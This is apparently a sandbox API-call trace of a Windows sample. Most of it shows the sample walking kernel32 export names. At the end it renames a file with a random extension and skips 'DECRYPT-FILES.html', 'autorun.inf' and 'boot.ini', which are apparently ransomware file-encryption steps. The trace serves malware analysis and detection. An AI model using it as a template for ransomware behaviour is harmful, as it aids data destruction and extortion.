lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0130.879] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0130.879] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0130.879] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0130.879] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0130.880] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0130.880] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0130.880] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0130.880] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0130.880] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0130.880] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0130.880] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0130.880] lstrlenA (lpString="CLOSESTATE") returned 10 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0130.880] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0130.880] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0130.880] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0130.880] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0130.880] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0130.880] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0130.880] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0130.880] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0130.880] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0130.880] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0130.880] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0130.880] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0130.880] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0130.881] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0130.881] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0130.881] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0130.881] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0130.881] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0130.881] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0130.881] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0130.881] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0130.881] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0130.881] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0130.881] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0130.881] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0130.881] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0130.881] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0130.881] lstrlenA (lpString="COPYCONTEXT") returned 11 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0130.881] lstrlenA (lpString="COPYFILE2") returned 9 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0130.881] lstrlenA (lpString="COPYFILEA") returned 9 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0130.881] lstrlenA (lpString="COPYFILEEXA") returned 11 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0130.881] lstrlenA (lpString="COPYFILEEXW") returned 11 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0130.881] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0130.881] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0130.881] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0130.882] lstrlenA (lpString="COPYFILEW") returned 9 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0130.882] lstrlenA (lpString="COPYLZFILE") returned 10 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0130.882] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0130.882] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0130.882] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0130.882] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0130.882] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0130.882] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0130.882] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0130.882] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0130.882] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0130.882] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0130.882] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0130.882] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0130.882] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0130.882] lstrlenA (lpString="CREATEEVENTA") returned 12 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0130.882] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0130.882] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0130.882] lstrlenA (lpString="CREATEEVENTW") returned 12 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0130.882] lstrlenA (lpString="CREATEFIBER") returned 11 [0130.882] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0130.882] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0130.883] lstrlenA (lpString="CREATEFILE2") returned 11 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0130.883] lstrlenA (lpString="CREATEFILEA") returned 11 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0130.883] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0130.883] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0130.883] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0130.883] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0130.883] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0130.883] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0130.883] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0130.883] lstrlenA (lpString="CREATEFILEW") returned 11 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0130.883] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0130.883] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0130.883] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0130.883] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0130.883] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0130.883] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0130.883] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0130.883] lstrlenA (lpString="CREATEJOBSET") returned 12 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0130.883] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0130.883] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0130.883] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0130.883] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0130.884] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0130.884] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0130.884] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0130.884] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0130.884] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0130.884] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0130.884] lstrlenA (lpString="CREATEPIPE") returned 10 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0130.884] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0130.884] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0130.884] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0130.884] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0130.884] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0130.884] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0130.884] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0130.884] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0130.884] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0130.884] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0130.884] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0130.884] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0130.884] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0130.884] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0130.884] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0130.884] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0130.885] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0130.885] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0130.885] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0130.885] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0130.885] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0130.885] lstrlenA (lpString="CREATETHREAD") returned 12 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0130.885] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0130.885] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0130.885] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0130.885] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0130.885] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0130.885] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0130.885] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0130.885] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0130.886] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\eula.rtf.XuSxQRK") returned 43 [0130.886] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf.XuSxQRK" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf.xusxqrk"), dwFlags=0x0) returned 1 [0130.886] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.886] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.887] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.887] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0130.887] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") 